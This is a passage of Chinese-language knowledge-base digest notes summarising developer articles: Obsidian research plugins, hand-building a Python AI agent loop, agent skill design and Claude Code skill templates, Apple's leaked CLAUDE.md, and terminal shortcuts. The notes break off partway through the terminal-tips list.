- **傳統工作流的失敗**: 對於研究人員來說，單純的「資料夾系統」或「一卡一概念 (Zettelkasten)」的極簡主義會演變成一場災難，因為學術研究牽涉幾百篇 PDF 與龐大的上下文切換。
- **7 個生存必備外掛 (The Survival 7)**:
1. **Citations**: 系統的骨幹，連接 Zotero 導入文獻並自動結構化 Metadata。
2. **Dataview (或 Datacore)**: 將靜態筆記轉為關聯式資料庫，動態呈現「未讀論文」、「關鍵字文獻綜述」。
3. **Longform**: 專為長篇寫作 (論文、報告) 設計，將大綱切分為小區塊，打破 `thesis_v5_final_REAL.docx` 的地獄。
4. **Calendar**: 補足時間維度，透過 Daily notes 記錄閱讀進度與思考軌跡。
5. **QuickAdd**: 消除建檔摩擦力，一鍵建立帶有標準化 Metadata 和結構的文獻筆記。
6. **Linter**: 系統的守護神，自動對齊 YAML 標籤與修復排版，確保 Dataview 能正確讀取資料。
7. **Omnisearch**: 強大的全文檢索，因為你的大腦終究會忘記，系統的核心在於「檢索 (Retrieval)」。
- **核心理念**: 不追求完美的系統，而是追求一個「就算你在狀態極差的熬夜天，也能順暢運作」的容錯架構。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **摩擦力 (Friction) 是系統崩潰的主因**: 為什麼多數人的筆記系統最後都會荒廢？因為每次建檔都要複製貼上標題、作者、標籤，寫到第三篇就累了。作者透過 `Citations + QuickAdd + Linter` 的組合拳，將「輸入與排版」完全自動化，讓學術工作者把精神保留給真正的思考（寫摘要與批判）。
2. **筆記的盡頭是資料庫 (Notes become Data)**: 當筆記數量突破 300 篇時，傳統的連結 (Link) 與標籤 (Tag) 視覺化圖譜就成了沒有意義的星空圖。這時必須依賴 `Dataview` 使用 SQL 語法進行動態查詢，這也是學術筆記系統異於常人系統的關鍵分水嶺。
### 關鍵證據
- 對於非英語母語者 (Non-Native Speaker) 的價值：用自己的話（配合模板）寫下論文的摘要與批判，不僅強迫理解，更能降低正式撰寫論文時的翻譯與構思負擔。這是一種用「結構化筆記」降低「認知負荷 (Cognitive Load)」的實證策略。
### 邊界條件
- **適用對象的限制**: 這套重型工作流是為「博士生、研究員、需要產出長篇知識型內容的作家」設計的。如果你只是用 Obsidian 寫寫待辦事項、記錄開會重點，強行導入這 7 個外掛反而會讓你感到被系統綁架。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Why Karpathy’s Second Brain Breaks at Agent Scale》一文的觀點：純文本筆記遲早會遇到檢索極限。即使是人類，在使用 Obsidian 時也必須透過 `Dataview` (加上嚴格的 Linter 格式控制) 將 Markdown 強制結構化為「帶有 Metadata 的小型資料庫」，否則知識終將無法被查詢與提取。
- **深層洞見**: **"A system that compensates for my actual brain... Your system must work even when you are not at your best." (這是一個補償我真實大腦的系統... 你的系統必須在你狀態最差的時候也能運作。) ** 工具的本質不是展現你的智力有多高，而是為你的失誤與疲憊「兜底」。一個需要高度自律才能維持的筆記系統，注定會失敗。
- **行動呼籲**:
立刻檢查你的 Obsidian 或 Notion：你有沒有一堆格式不統一、缺乏 Metadata 的「孤兒筆記」？花 10 分鐘安裝並設定 `Linter` 外掛，讓它在每次存檔時自動幫你整理版面。別把你的意志力浪費在縮排和對齊標籤上。
開發工具
剝開 Agent 的玄學外衣：用 50 行 Python 手刻一個真實的 AI 代理
"不要被 LangChain 或 CrewAI 那些複雜的名詞嚇到了。AI Agent 說穿了沒有魔法，它就是一個 迴圈。在這個迴圈裡，模型負責「思考」並要求呼叫工具（比如算數或查天氣），Python 負責「執行」工具並把結果丟回給模型看。就這樣一直循環，直到模型覺得資料夠了，吐出最終答案為止。要徹底理解 Agent，最好的方法就是自己用 50 行程式碼刻一個，然後再接上 Ollama 跑本地模型，最後插上 MCP 伺服器來共享全世界的工具。"
---
tags: [開發工具, 實戰教學]
date: 2026-05-04
source: "20260512_2026-05-06T095653+0800-Building an AI Agent from Scratch No Magic, Just a Deterministic Loop.md"
---
# 剝開 Agent 的玄學外衣：用 50 行 Python 手刻一個真實的 AI 代理
原始來源與檔名：20260512_2026-05-06T095653+0800-Building an AI Agent from Scratch No Magic, Just a Deterministic Loop.md
來源：[[Sergey Nes]] / Level Up Coding — 2026-05-04
原始檔名：`2026-05-06T095653+0800-Building an AI Agent from Scratch No Magic, Just a Deterministic Loop.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> AI Agent = LLM + System Prompt + Conversation History + While(True) { Decide -> Act -> Observe }.
> Frameworks (LangGraph, CrewAI) = The naive loop + Retries + Checkpoints + Orchestration.
> Standardized Tools = Model Context Protocol (MCP).
_你每天都在用各種 AI Agent (Claude Code, Cursor)，但你真的知道它們底層在幹嘛嗎？這篇文章作者拒絕使用任何框架，僅用 50 行純 Python 程式碼，從零建構了一個基於 ReAct (Reason + Act) 模式的 Agent。文章徹底剝開了 Agent 的神秘面紗：Agent 並沒有意識，它只是一個死循環 (`while True`)。在這個迴圈裡，LLM 檢視對話歷史、決定要呼叫工具還是給出最終答案、執行工具、將結果塞回歷史紀錄，然後再跑一次。_
### 一句話
> 不要被 LangChain 或 CrewAI 那些複雜的名詞嚇到了。AI Agent 說穿了沒有魔法，它就是一個 `while` 迴圈。在這個迴圈裡，模型負責「思考」並要求呼叫工具（比如算數或查天氣），Python 負責「執行」工具並把結果丟回給模型看。就這樣一直循環，直到模型覺得資料夠了，吐出最終答案為止。要徹底理解 Agent，最好的方法就是自己用 50 行程式碼刻一個，然後再接上 Ollama 跑本地模型，最後插上 MCP 伺服器來共享全世界的工具。
### 餐巾紙草圖
```text
[ The Agentic While Loop (No Magic) ]
WHILE TRUE:
1. Messages (History + Tools) -> [ LLM ]
2. LLM Responds:
IF "I have the final answer":
-> RETURN text
-> BREAK
IF "I need to call a tool":
-> Extract tool name & args
-> Local Python executes tool()
-> Append result to Messages
3. Repeat loop.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **Agent 的定義**: 從「單次對話 (One-shot)」升級到「帶有循環機制的 ReAct 模式 (Think -> Act -> Observe -> Decide)」。
- **極簡實作 (50行代碼)**:
- 核心是一個 `while True` 迴圈。
- 依賴 OpenAI-compatible API 的 `tool_calls` 功能。
- 迴圈終止條件：模型回傳的 `message.tool_calls` 為空。
- **本地 LLM (Ollama) 的坑**: 將 API 端點換成 Ollama 即可本地運行 (如 Qwen2.5)。但要注意，**並非所有模型都支援結構化 Tool Calling**（例如 Mistral 7B 會產生幻覺，用純文字描述工具呼叫，導致迴圈提早退出）。
- **混合模式 (Mixed Mode)**: 節省成本的絕招。預設使用本地模型負責基礎 Orchestration 與簡單工具，但賦予本地模型一個名為 `ask_cloud_expert` 的工具。當遇到複雜邏輯時，本地模型會自動「外包」給雲端的 GPT-4o。
- **工具的標準化 (MCP)**:
- 硬編碼的工具無法共享。
- MCP (Model Context Protocol) 是解藥。它是一個 Client-Server 架構，讓 Agent 可以動態發現並呼叫外部伺服器上定義的工具，實現了工具生態的模組化。
- **為何還需要框架？**: 50 行的 Agent 很棒，但缺乏生產環境必須的：錯誤重試、人類審批閘道 (Human-in-the-loop)、記憶管理與並行狀態圖 (LangGraph)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Agent 的「自我反思」只是一種錯覺**: 許多人以為 Agent 會「思考」，但作者點破盲點：模型沒有意識，它有的只是被塞進 Context Window 的對話歷史。因為它能看到自己剛才「呼叫了什麼工具」以及「得到了什麼錯誤結果」，所以在下一次生成時，它能產生出看起來像是在「自我糾正」的文字。這一切都是 Deterministic (決定性) 的。
2. **抽象層的毒藥**: 直接上手 LangGraph 或 CrewAI 會讓人迷失在節點 (Nodes)、邊 (Edges) 和多代理編排的術語中。作者透過手刻底層邏輯，證明了理解底層的 `while` 迴圈，才能在未來使用框架 Debug 時知道究竟哪裡出了問題。
### 關鍵證據
- 程式碼展示了從 OpenAI API 無縫切換到 Ollama 只要改兩行參數，完美印證了底層邏輯的通用性。
- 展示了 Mistral 7B 失敗的輸出日誌，生動說明了「模型缺乏 Tool Calling 結構化能力」會導致整個 Agent 架構癱瘓。
### 邊界條件
- **生產環境的脆弱性**: 作者非常坦白，這個 50 行的 Agent 如果遇到任何 Tool 拋出 Exception，整個程式就會直接 Crash。它只是一個教學用的腳本，這正是 LangGraph 等狀態機框架存在的價值。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應上一篇《Adventures in Claude Code land》中的 Agentic Loop。這篇文章讓我們親手實作了那個 Loop，並實際體驗了 MCP (Model Context Protocol) 到底是如何在程式碼層面運作的。
- **深層洞見**: **"You do not need LangGraph to learn what an agent is. You need it when retries, checkpoints, and approval gates stop being optional." (你不需要 LangGraph 來學習 Agent 是什麼；你是在重試、檢查點和審批閘道變成「非選配」時，才需要它。)** 這是對當前「開口閉口就是 AI 框架」風氣的最強一擊。先理解本質，再引入複雜性，這是資深工程師的鐵則。
- **行動呼籲**:
不要只把這篇當文章看。打開你的 IDE，把文章裡的那 50 行代碼複製下來跑一次。試著故意把 Calculator 工具寫錯，看看 LLM 是如何看到錯誤訊息，然後陷入不知所措的迴圈的。當你親眼看著終端機裡印出 `calling get_weather` 時，你對 AI 的理解會發生質的飛躍。
開發工具
如何寫出工業級的 Agent Skill？漸進式披露與嚴格測試 (Industrial-Grade Skills)
"如果你只把 Prompt 寫長，那不叫 Skill。這是一篇 Agent Skill 的架構設計指南。作者指出，Skill 真正的價值在於固化經驗，確保 Agent 能在特定場景下穩定觸發並執行標準流程。文章提出了五大原則：1) 優化 Description 以確保正確觸發；2) 嚴格限制工具權限 (最小權限原則)；3) 依任務難度匹配不同模型；4) 採用目錄結構將長文件拆離 SKILL.md；5) 建立測試資料集 (Evals)，進行 A/B 對比評分，用數據證明 Skill 真的有效。"
---
tags: [開發工具, Agent架構, 系統工程]
date: 2026-05-04
source: "20260512_2026-05-05T094014+0800-如何写出工业级 Skill.md"
---
# 如何寫出工業級的 Agent Skill？漸進式披露與嚴格測試 (Industrial-Grade Skills)
原始來源與檔名：20260512_2026-05-05T094014+0800-如何写出工业级 Skill.md
來源：[[@FakeMaidenMaker]] / X (Twitter) — 2026-05-04
原始檔名：`2026-05-05T094014+0800-如何写出工业级 Skill.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Bad Skill = Huge MD File (Rules + Context + Examples combined).
> Good Skill = Trigger Optimization + Principle of Least Privilege + Model Matching + Progressive Disclosure + Evals.
> Progressive Disclosure = `SKILL.md` (Index) + `references/` (Docs) + `scripts/` (Code) + `assets/` (Templates).
_很多人把 Agent Skill 當成一個巨大的 Prompt 檔案，把背景、規則、案例全塞進去，結果 Agent 載入緩慢且常常出錯。這篇文章定義了什麼是「工業級的 Skill」。核心理念在於「按需加載 (On-demand)」與「漸進式披露 (Progressive Disclosure)」：SKILL.md 只做路由入口，長篇參考資料和確定性的程式碼腳本應該拆分到獨立的目錄中。更重要的是，一個好的 Skill 必須經歷嚴格的 Evals (測試資料打分驗證)，才能保證它在真實工作流中穩定運作。_
### 一句話
> 如果你只把 Prompt 寫長，那不叫 Skill。這是一篇 Agent Skill 的架構設計指南。作者指出，Skill 真正的價值在於固化經驗，確保 Agent 能在特定場景下穩定觸發並執行標準流程。文章提出了五大原則：1) 優化 Description 以確保正確觸發；2) 嚴格限制工具權限 (最小權限原則)；3) 依任務難度匹配不同模型；4) 採用目錄結構將長文件拆離 SKILL.md；5) 建立測試資料集 (Evals)，進行 A/B 對比評分，用數據證明 Skill 真的有效。
### 餐巾紙草圖
```text
[ Progressive Disclosure in Skills ]
WRONG:
.claude/skills/cover_image.md (3000 lines of rules, examples, and python code) -> Crash / Slow.
RIGHT:
.claude/skills/cover_image/
├── SKILL.md (Entry point, < 500 lines)
├── references/ (Design rules, platform sizes) -> Read only when needed
├── scripts/ (resize.py) -> Executed deterministically
└── assets/ (Templates, fonts)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **定義**: Skill 介於全域的 CLAUDE.md 與手動的 Slash Command 之間。它的靈魂是「按需加載 (On-demand loading)」。
- **原則一：觸發器設計**: `description` 決定了 Skill 會不會被呼叫。不能只寫 "Create an image"，必須寫滿使用者真實的情境關鍵字（長推、海報、配圖）。低頻 Skill 應設為 disable，改為手動呼叫以節省 Context。
- **原則二：權限邊界**: 遵循最小權限原則 (`allowed-tools`)。讀取分析用的 Skill 就不該有 `Edit` 或 `Bash` 權限。
- **原則三：匹配模型**: 不同任務用不同模型。寫文檔用高階寫作模型，資料爬取用便宜快速的模型。不要全預設用同一個。
- **原則四：漸進式披露 (Progressive Disclosure)**: `SKILL.md` 應少於 500 行，只放觸發時機、原則和步驟。細節必須分拆：
- `references/`: 長文檔、風格案例。
- `scripts/`: 確定性的邏輯（如尺寸檢查）寫成 Python 腳本讓 Agent 跑，不要讓 LLM 每次重新思考。
- `assets/`: 模板、Schema。
- **原則五：Evals (驗證與迭代)**:
- 跑通測試 (路徑對不對？)
- 觸發測試 (說人話時會觸發嗎？)
- 結果打分 (0-10 分，準備 Test Data 進行 Baseline 對比)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **確定性邏輯不該交給 LLM**: 文章中提到把尺寸檢查等操作放入 `scripts/` 目錄。這是非常深刻的架構洞見。LLM 的本質是機率模型，讓機率模型去處理 100% 確定性的邏輯（如裁切圖片、正規表達式替換）是浪費且危險的。工業級 Agent 必須是「大腦 (LLM) + 肌肉 (Scripts)」的結合。
2. **沒有 Eval 就沒有工程化**: 作者嚴厲批評了「憑感覺發布 Skill」的行為。就像傳統軟體沒有單元測試不能上線一樣，Skill 如果不能在 10 個測試案例中穩定拿到 7 分以上，並且證明比 Baseline (不開 Skill) 更優秀，那它就只是一段虛榮的字串，沒有提供真實價值。
### 關鍵證據
- 提供了一套完整的目錄結構範例 (`cover_image/`)，清晰展示了如何將龐大的 Prompt 拆解為 Markdown 導覽頁與具體資源檔。
- 提供了一套 0-10 分的評估標準與 A/B 基準測試流程，讓 Agent 的「玄學」開發轉變為可量化的科學流程。
### 邊界條件
- 對於極度靈活、探索性質極強的任務（例如頭腦風暴、開放式架構設計），強行套用這套嚴格的 Eval 與腳本約束，可能會扼殺 LLM 本身的發散創造力。這套方法論最適用於「流程明確但過程繁瑣」的流水線任務。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文完美收束了前兩篇的痛點：《Claude Skills 實戰指南》教你怎麼建 Skill，《優化 7 個 Token 陷阱》告訴你亂建 Skill 會爆炸。這篇則給出了解藥：透過「漸進式披露」架構，讓 Skill 既具備強大的知識庫，又不會在初次載入時把 Token 撐爆。
- **深層洞見**: **"Skill 并不只是单纯把提示词写长保存下来。它是把经验固化成一个可触发、可执行、可测试、可维护的工作流。"** 這是所有 Prompt Engineer 必須跨越的門檻：從寫提示詞，升級為設計工作流引擎。
- **行動呼籲**:
檢視你最常用的一個 Prompt 或 Skill。試著把裡面「超過 10 行的案例或模板」抽離出來，存成同目錄下的一個文字檔。然後在你的 Skill 裡寫上：「執行前，請先讀取 `assets/template.txt`」。你的 Agent 將會瞬間變得更輕快、更穩定。
開發工具
實戰指南：用 Claude Skills Folder 自動化 90% 的開發工作流 (Claude Skills Folder)
"這是一篇「拿來即用」的 Claude Code 技巧文。作者分享了 10 個核心的自訂技能 (Skills) 模板。透過將帶有 限制和精準 Prompt 的 Markdown 檔案放在特定資料夾，開發者可以將 Claude Code 從一個「對話框」升級為「具備特定專業能力的自動化外掛庫」。更棒的是，從 2026 年 4 月起，Skills 支援「自動喚醒」，當你處理 PR 時，它會自動推薦 。"
---
tags: [開發工具, 工作流, Agent架構]
date: 2026-05-04
source: "20260512_2026-05-05T093858+0800-The Claude Skills Folder That Automates 90% of Workflow (All Commands Included).md"
---
# 實戰指南：用 Claude Skills Folder 自動化 90% 的開發工作流 (Claude Skills Folder)
原始來源與檔名：20260512_2026-05-05T093858+0800-The Claude Skills Folder That Automates 90% of Workflow (All Commands Included).md
來源：[[@zodchiii]] / X (Twitter) — 2026-05-04
原始檔名：`2026-05-05T093858+0800-The Claude Skills Folder That Automates 90% of Workflow (All Commands Included).md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Custom Command = Markdown File + YAML Frontmatter + System Prompt.
> Location = `.claude/skills/` (Project) or `~/.claude/skills/` (Global).
> Invocation = Manual (`/name`) or Auto-triggered (by Claude based on context).
_許多開發者使用 Claude Code 時只會用預設的 `/compact` 或 `/clear`。這篇文章提供了一個極具實操價值的技巧：透過在專案中建立 `.claude/skills/` 資料夾，你可以把日常繁瑣的 Prompt（如 Code Review、寫測試、發 PR、資料庫遷移）封裝成自訂的 Slash Commands。寫一次 Prompt，終身只需輸入 `/review` 即可自動調用，徹底解放雙手。_
### 一句話
> 這是一篇「拿來即用」的 Claude Code 技巧文。作者分享了 10 個核心的自訂技能 (Skills) 模板。透過將帶有 `allowed-tools` 限制和精準 Prompt 的 Markdown 檔案放在特定資料夾，開發者可以將 Claude Code 從一個「對話框」升級為「具備特定專業能力的自動化外掛庫」。更棒的是，從 2026 年 4 月起，Skills 支援「自動喚醒」，當你處理 PR 時，它會自動推薦 `/review`。
### 餐巾紙草圖
```text
[ How Claude Skills Work ]
File: .claude/skills/review/SKILL.md
------------------------------------
| name: review | <-- /review
| allowed-tools: Read, Grep, Bash | <-- Sandboxed permissions
| |
| [Prompt: Check for OWASP...] | <-- The Brain
------------------------------------
User: "/review src/auth/"
Claude: Matches "review" -> Loads SKILL.md -> Executes Prompt using only allowed tools.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **自訂指令的原理**: 在 `.claude/skills/` 建立帶有 YAML Frontmatter 的 Markdown 檔，檔名即為指令名。
- **Skills vs Commands**: 舊版 `commands/` 只能手動觸發；新版 `skills/` (推薦) 支援 Frontmatter 描述，能讓 Claude 根據上下文自動觸發，並可限制可用工具 (`allowed-tools`)。
- **參數傳遞**: 支援 `$ARGUMENTS` (接收指令後所有文字) 與 `$1, $2` (接收位置參數)。
- **10 大實戰模板**:
1. `/review`: 審查程式碼（Bug、安全、效能、風格）。
2. `/test`: 自動化單元測試（包含邊界條件，並確保執行通過）。
3. `/commit`: 產生結構化的 Git Commit 訊息（按照 feat/fix 規範）。
4. `/pr`: 讀取 branch 差異，自動生成 PR 描述（What, Why, Testing）。
5. `/debug`: 錯誤排查（先診斷，不隨便改 Code）。
6. `/refactor`: 安全重構（每一步都跑測試確保行為不變）。
7. `/docs`: 產生 README 或 JSDoc（強調寫 WHY 而非 WHAT）。
8. `/migrate`: 資料庫遷移腳本（確保 UP 和 DOWN 都有）。
9. `/deploy-check`: 部署前檢查（跑 lint, build, tsc, 無 .env 洩漏）。
10. `/security`: 安全掃描（硬編碼密鑰、SQL injection、XSS）。
- **團隊共享**: 將專案層級的 skills 提交到 Git，全團隊立刻擁有相同的自動化能力。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Prompt 是一次性消耗品，Skill 是資產**: 每天花一分鐘打字要求 AI "Review this code for OWASP vulnerabilities" 是低效的。將其封裝成 Skill，就是把微小的認知勞動自動化，隨著時間推移能省下數百小時。
2. **限制邊界 (allowed-tools) 的重要性**: 這 10 個模板最精華的地方在於它對每個工具設定了嚴格的工具權限（例如 `/review` 不能寫入檔案，只能讀取和 Grep；`/debug` 可以跑測試但不能修改）。這防止了 Agent 暴走，是工業級使用的標準操作。
### 關鍵證據
- 提供了一套連貫的工作流範例：遇到問題先 `/debug` -> 寫完 code 用 `/test` -> `/refactor` 清理 -> `/review` 檢查 -> `/security` 掃描 -> `/commit` -> `/pr` -> `/deploy-check`。這完美詮釋了什麼叫「被 Agent 接管的軟體生命週期」。
### 邊界條件
- 全域技能 (`~/.claude/skills/`) 雖然方便，但可能無法適配所有專案的特殊框架（例如 `/test` 預設跑 `npm test`，如果到了 Python 專案就會報錯）。所以語言或框架特定的 Skill 最好放在專案層級。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《The 5-Layer Architecture Behind Claude Code》中的第二層 (Layer 2: Skills) 概念，這篇是該概念最完美的實操落地版。
- **深層洞見**: **"Write the prompt once, use it forever."** 這其實就是 Prompt Engineering 向 Software Engineering 的進化。Prompt 不再是聊天的對話，而是程式碼本身（Infrastructure as Code 變成了 Prompt as File）。
- **行動呼籲**:
如果你還在反覆複製貼上長篇大論的 Prompt 給 Claude，今天就建一個 `.claude/skills/` 資料夾，把文章裡的 `/commit` 和 `/review` 拷貝進去試試。你會發現，AI 助理真正變成了你的隨身專屬外掛。
開發工具
從蘋果外洩的 CLAUDE.md 中學到的 AI 協作最佳實踐
"如果你的專案有給 AI 看的說明書（如 ），不要在裡面寫「請寫乾淨的程式碼」這種廢話。學學 Apple，把字數壓在 200 行以內，只寫那些「看原始碼也猜不出來的架構規定」。例如告訴 AI 哪些舊套件已經被棄用、哪些協議負責處理抽象、以及要求 AI 在寫完 UI 後一定要附上預覽圖作為交貨證明。好的系統提示詞不是拿來教 AI 寫程式的，而是用來設定「專案防撞護欄」的。"
---
tags: [開發工具, 系統工程]
date: 2026-05-02
source: "20260512_2026-05-06T095734+0800-What Apple’s Leaked CLAUDE.md Teaches Us.md"
---
# 從蘋果外洩的 CLAUDE.md 中學到的 AI 協作最佳實踐
原始來源與檔名：20260512_2026-05-06T095734+0800-What Apple’s Leaked CLAUDE.md Teaches Us.md
來源：[[Alex Dunlop]] / Medium — 2026-05-02
原始檔名：`2026-05-06T095734+0800-What Apple’s Leaked CLAUDE.md Teaches Us.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Claude's Context Window != Human Onboarding.
> A Perfect `CLAUDE.md` = <200 Lines + Architecture Decisions (AsyncStream > Combine) + Hard Constraints + Things AI Cannot Infer.
> Apple's Secret: Don't document what the code already says. Document the non-obvious architecture rules.
_Apple 不小心在其 Support App 的生產環境中外洩了內部的 `CLAUDE.md` 檔案，這是他們用來引導 Claude Code 進行開發的「系統提示詞」。從這兩份短短的文件中，我們看到了頂尖科技公司如何與 AI 結對程式設計：他們不寫基礎的格式規範，而是寫明「非直覺的架構決策」（例如規定必須使用 `AsyncStream` 而非 `Combine`）、「條件編譯的嵌套規則」、以及要求 AI 必須提供 `#Preview` 作為元件完成的工作證明 (Proof of Work)。_
### 一句話
> 如果你的專案有給 AI 看的說明書（如 `CLAUDE.md`），不要在裡面寫「請寫乾淨的程式碼」這種廢話。學學 Apple，把字數壓在 200 行以內，只寫那些「看原始碼也猜不出來的架構規定」。例如告訴 AI 哪些舊套件已經被棄用、哪些協議負責處理抽象、以及要求 AI 在寫完 UI 後一定要附上預覽圖作為交貨證明。好的系統提示詞不是拿來教 AI 寫程式的，而是用來設定「專案防撞護欄」的。
### 餐巾紙草圖
```text
[ Anatomy of Apple's CLAUDE.md ]
What they don't include:
- Code style (AI infers this)
- Basic language syntax
- Polite instructions ("please consider")
What they DO include:
- Hard Rules: "Uses AsyncStream... NOT Combine"
- Architecture Map: "Service providers are actors (not @MainActor)"
- Abstraction Boundaries: "View model doesn't know which backend is active"
- Proof of Work Gate: "Always include #Preview showing multiple states"
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **外洩事件**: Apple 在 iOS App 中意外打包了內部給 AI 代理 (Claude Code) 閱讀的 `CLAUDE.md` 指南。
- **5 個技術亮點 (來自外洩內容)**:
1. 正在生產環境同時運行 AI 與真人客服 (三種角色: `client`, `agent`, `assistant`)。
2. 嚴格的 Actor 模型架構 (為了併發安全)，棄用 Combine 改用 AsyncStream。
3. 單一協議下的多後端抽象 (將 AI 與真人客服封裝在同一個介面後)。
4. 龐大且嵌套的條件編譯 (Conditional Compilation, `#if`)。
5. 共用 UI 元件庫的極度純粹化 (不含商業邏輯，強制要求包含 `#Preview` 多重狀態預覽)。
- **給開發者的 6 條 `CLAUDE.md` 黃金法則**:
1. 控制在 200 行以內 (避免 Token 浪費與注意力失焦)。
2. 視為公開文件 (絕對不要放 API Key)。
3. 語氣直接果斷 (用 "NOT Combine"，不用 "it might be good to")。
4. **只寫 AI 無法推斷的事** (如架構設計、被禁用的模式)。
5. 必須納入版本控制 (因為它會隨架構演進)。
6. 在 CI 流程中將其移除 (避免像 Apple 一樣發生災難外洩)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 缺乏領域上下文 (Domain Context)**: 就算是最聰明的 Claude 3.7，在面對一個擁有五年歷史的 Legacy Codebase 時，它也無法知道「團隊上個月開會決定全面禁用 Combine」。原始碼只能告訴 AI 「現在是什麼狀態」，只有 `CLAUDE.md` 能告訴 AI 「團隊的架構目標與禁忌」。
2. **Proof of Work (工作證明) 減少幻覺**: Apple 規定 `Always include #Preview {} showing multiple states for new components.`。這招非常高明，它強迫 AI 在交卷前必須自己寫出視覺化測試。當 AI 需要實作預覽時，它就得自己跑過一次元件的各個狀態，從而大幅降低生成廢扣 (Slop) 的機率。
### 關鍵證據
- 從外洩的 Markdown 中可以明顯看到粗體字的使用（如 **AsyncStream**、**actors**、**Multi-backend via protocol**）。這是經過實戰測試的「提示詞工程」，粗體能有效抓取 LLM 的注意力權重，確保關鍵架構約束不被忽略。
### 邊界條件
- **何時不需要 `CLAUDE.md`**: 如果你的專案只是一個 10 個檔案的拋棄式腳本，建立 `CLAUDE.md` 反而是浪費時間。這個做法專屬於具有「嚴格架構規範」與「長期維護需求」的團隊專案。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 與上一篇《The Claude Code Killer Is Finally Here》完美契合。Mario Zechner 主張把提示詞控制在 200 Token 內，而 Apple 用他們真實的生產環境證明了這一點：最頂尖的團隊不會給 AI 看幾千字的教學，而是給出最精煉的「架構聖旨」。
- **深層洞見**: **"Apple doesn’t waste lines on format rules, just architecture decisions and protocol abstractions. The stuff you can’t figure out unless told." (Apple 不會浪費行數在格式規則上，只寫架構決策和協議抽象。那些除非你被告知，否則你絕對猜不到的東西。) ** 我們在教新人時常犯的錯也是如此——花了太多時間教他們怎麼寫 Code，卻沒告訴他們「為什麼我們這間公司不那樣寫 Code」。
- **行動呼籲**:
1. 檢視你專案根目錄的 `.cursorrules` 或 `CLAUDE.md`。
2. 刪除所有「請寫出整潔、有註解的程式碼」這種垃圾話。
3. 補上一條：禁止使用的歷史套件名單，以及「每個新功能都必須包含測試/預覽作為 Proof of Work」。
開發工具
我用錯了終端機好幾年：資深開發者是如何操作 Terminal 的
"如果你每次打錯字還要狂按左鍵回去改，或是忘記加上 sudo 還要重新手打整串指令，那你在終端機裡浪費了太多生命。記住這幾個肌肉記憶：忘記 就打 ；想用剛才的資料夾名稱就打 ；想找以前打過的指令就按 ；想跳到行首就按 。去裝個模糊搜尋神器 ，然後把 設定成 的 alias。終端機不是文字版的點擊介面，它是你手的延伸。"
---
tags: [開發工具, 實戰教學]
date: 2026-03-19
source: "20260512_2026-05-06T095725+0800-I Used the Terminal Wrong for Years.md"
---
# 我用錯了終端機好幾年：資深開發者是如何操作 Terminal 的
原始來源與檔名：20260512_2026-05-06T095725+0800-I Used the Terminal Wrong for Years.md
來源：[[Tushar Kanjariya]] / Medium — 2026-03-19
原始檔名：`2026-05-06T095725+0800-I Used the Terminal Wrong for Years.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Terminal Mastery ≠ Memorizing 500 commands.
> Terminal Mastery = Treating it as an Environment (Aliases, Shortcuts, History Search, Background Jobs).
> The Holy Trinity of Friction Removal: `sudo !!` + `Ctrl+R` + `fzf`.
_大多數開發者把終端機 (Terminal) 當成自動販賣機：敲指令，拿結果，不斷重複，效率極低。但資深開發者把它當作一個「環境」。這篇文章分享了 11 個消除開發摩擦力的終端機神技，沒有花拳繡腿，全都是每天會用到 20 次以上的實用技巧。從用 `!!` 和 `!$` 重複指令、用 `Ctrl+R` 與 `fzf` 顛覆歷史搜尋，到利用 tmux 讓工作流永不中斷，以及將輸出直接管線 (Pipe) 到剪貼簿。當你把這些技巧內化成肌肉記憶後，你也會像變魔術一樣，在 90 秒內修復生產環境的部署問題。_
### 一句話
> 如果你每次打錯字還要狂按左鍵回去改，或是忘記加上 sudo 還要重新手打整串指令，那你在終端機裡浪費了太多生命。記住這幾個肌肉記憶：忘記 `sudo` 就打 `sudo !!`；想用剛才的資料夾名稱就打 `!$`；想找以前打過的指令就按 `Ctrl+R`；想跳到行首就按 `Ctrl+A`。去裝個模糊搜尋神器 `fzf`，然後把 `cd ..` 設定成 `..` 的 alias。終端機不是文字版的點擊介面，它是你手的延伸。
### 餐巾紙草圖
```text
[ Terminal Friction Removers ]
1. The "Oops" Commands:
Forgot sudo? -> sudo !!
Same argument? -> mkdir app; cd !$
Typo? -> ^chekcout^checkout
2. The "Time Travel" Search:
Up Arrow (Linear, Slow) ---> Ctrl+R + fzf (Fuzzy, Instant)
3. The "Don't Block Me" Jobs:
Wait 10 mins ---> npm run build & (Runs in background)
4. The Mouse-Killer:
Select + Copy ---> cat key.pub | pbcopy
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心心法**: 終端機不是工具 (Tool)，而是一個環境 (Environment)。
- **11 個實戰技巧**:
1. **重複與重用**: `sudo !!` (重複上一個指令)；`!$` (提取上一個指令的最後一個參數，如 `mkdir test` 後接 `cd !$`)。
2. **反向搜尋**: 拋棄無腦按上箭頭，使用 `Ctrl+R` 進行歷史指令的文字反向搜尋。
3. **瞬間修復拼字**: `^old^new` 直接替換上一個指令的錯字並執行（如 `^chekcout^checkout`）。
